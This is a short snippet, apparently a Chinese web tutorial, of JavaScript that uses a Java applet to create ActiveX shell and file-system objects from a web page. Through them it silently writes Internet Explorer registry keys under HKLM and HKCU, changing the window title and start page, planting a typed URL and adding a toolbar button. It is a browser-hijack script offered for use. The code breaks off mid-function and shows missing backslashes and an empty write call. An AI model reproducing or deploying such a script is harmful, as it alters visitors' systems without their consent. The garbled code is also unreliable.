用JS定制IE工具栏按钮

document.write("");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerMainWindow Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "about:blank");
Shl.RegWrite ("HKCUSoftwareMicrosoftInternet ExplorerTypedURLsurl1", "http://sunlight.uis.mtn/");
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerExtensions{12345678-0000-0000-0000-008713385168}CLSID", "{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}");
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerExtensions{12345678-0000-0000-0000-008713385168}ClsidExtension", "{12345678-0000-0000-0000-008713385168}");
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerExtensions{12345678-0000-0000-0000-008713385168}ButtonText", "阳光城市");
Shl.RegWrite ("HKLMSoftwareMicrosoftInternet ExplorerExtensions{12345678-0000-0000-0000-008713385168}Icon", "shell32.dll,42");